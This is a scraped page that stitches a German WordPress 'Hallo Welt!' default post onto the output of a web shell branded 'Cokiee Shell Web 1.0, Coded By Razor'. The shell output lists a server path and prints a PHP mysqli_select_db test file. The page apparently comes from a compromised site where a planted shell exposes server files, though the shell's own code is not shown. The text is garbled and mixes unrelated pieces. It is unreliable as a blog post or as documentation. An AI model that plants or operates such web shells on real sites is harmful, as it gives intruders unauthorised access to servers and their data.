Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /usr/local/src/php7/php-7.0.5/ext/mysqli/tests/ |
Current File : //usr/local/src/php7/php-7.0.5/ext/mysqli/tests/mysqli_select_db.phpt |
--TEST-- mysqli_select_db() --SKIPIF-- <?php require_once('skipif.inc'); require_once('skipifemb.inc'); require_once('skipifconnectfailure.inc'); ?> --FILE-- <?php require_once("connect.inc"); require_once("table.inc"); $tmp = NULL; $link = NULL; if (!is_null($tmp = @mysqli_select_db())) printf("[001] Expecting NULL, got %s/%s\n", gettype($tmp), $tmp); if (!is_null($tmp = @mysqli_select_db($link))) printf("[002] Expecting NULL, got %s/%s\n", gettype($tmp), $tmp); if (!$link = my_mysqli_connect($host, $user, $passwd, $db, $port, $socket)) printf("[003] Cannot connect to the server using host=%s, user=%s, passwd=***, dbname=%s, port=%s, socket=%s\n", $host, $user, $db, $port, $socket); if (!is_null($tmp = @mysqli_select_db($link, $db, "foo"))) printf("[004] Expecting NULL, got %s/%s\n", gettype($tmp), $tmp); /* does not make too much sense, unless we have access to at least one more database than $db */ if (!mysqli_select_db($link, $db)) printf("[005] Cannot select DB %s, [%d] %s\n", $db, mysqli_errno($link), mysqli_error($link)); if (!$res = mysqli_query($link, "SELECT DATABASE() AS dbname")) printf("[006] [%d] %s\n", mysqli_errno($link), mysqli_error($link)); if (!$row = mysqli_fetch_assoc($res)) printf("[007] [%d] %s\n", mysqli_errno($link), mysqli_error($link)); if ($row['dbname'] !== (string)$db) printf("[008] Expecting database '%s', found '%s'\n", $db, $row['dbname']); mysqli_free_result($res); if (mysqli_select_db($link, 'mysql')) { // Yippie, a second database to play with - that's great because mysqli_select_db // ($db) was done by mysqli__connect() already and the previous test // was quite useless if (!$res = mysqli_query($link, "SELECT DATABASE() AS dbname")) printf("[009] [%d] %s\n", mysqli_errno($link), mysqli_error($link)); if (!$row = mysqli_fetch_assoc($res)) printf("[010] [%d] %s\n", mysqli_errno($link), mysqli_error($link)); if (strtolower($row['dbname']) !== 'mysql') printf("[011] Expecting database 'mysql', found '%s'\n", $row['dbname']); mysqli_free_result($res); } if (!$link->select_db($db)) printf("[012] Failed to set '%s' as current DB; [%d] %s\n", $link->errno, $link->error); if (!$res = mysqli_query($link, "SELECT DATABASE() AS dbname")) printf("[013] [%d] %s\n", mysqli_errno($link), mysqli_error($link)); if (!$row = mysqli_fetch_assoc($res)) printf("[014] [%d] %s\n", mysqli_errno($link), mysqli_error($link)); $current_db = $row['dbname']; mysqli_report(MYSQLI_REPORT_OFF); mysqli_select_db($link, 'I can not imagine that this database exists'); mysqli_report(MYSQLI_REPORT_ERROR); ob_start(); mysqli_select_db($link, 'I can not imagine that this database exists'); $output = ob_get_contents(); ob_end_clean(); if (!stristr($output, "1049") && !stristr($output, "1044") && !stristr($output, "1045")) { /* Error: 1049 SQLSTATE: 42000 (ER_BAD_DB_ERROR) Message: Unknown database '%s' */ /* Error: 1044 SQLSTATE: 42000 (ER_DBACCESS_DENIED_ERROR) Message: Access denied for user '%s'@'%s' to database '%s' */ /* Error: 1045 SQLSTATE: 28000 (ER_ACCESS_DENIED_ERROR) Message: Access denied for user '%s'@'%s' (using password: %s) */ echo $output; } if (!$res = mysqli_query($link, "SELECT DATABASE() AS dbname")) printf("[015] [%d] %s\n", mysqli_errno($link), mysqli_error($link)); if (!$row = mysqli_fetch_assoc($res)) printf("[016] [%d] %s\n", mysqli_errno($link), mysqli_error($link)); if (strtolower($row['dbname']) != strtolower($current_db)) printf("[017] Current DB should not change if set fails\n"); if (!$res = $link->query("SELECT id FROM test WHERE id = 1")) printf("[018] [%d] %s\n"); $row = $res->fetch_assoc(); $res->free(); mysqli_close($link); if (NULL !== ($tmp = mysqli_select_db($link, $db))) printf("[017] Expecting NULL, got %s/%s\n", gettype($tmp), $tmp); print "done!\n"; ?> --CLEAN-- <?php require_once("clean_table.inc"); ?> --EXPECTF-- Warning: mysqli_select_db(): Couldn't fetch mysqli in %s on line %d done!
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare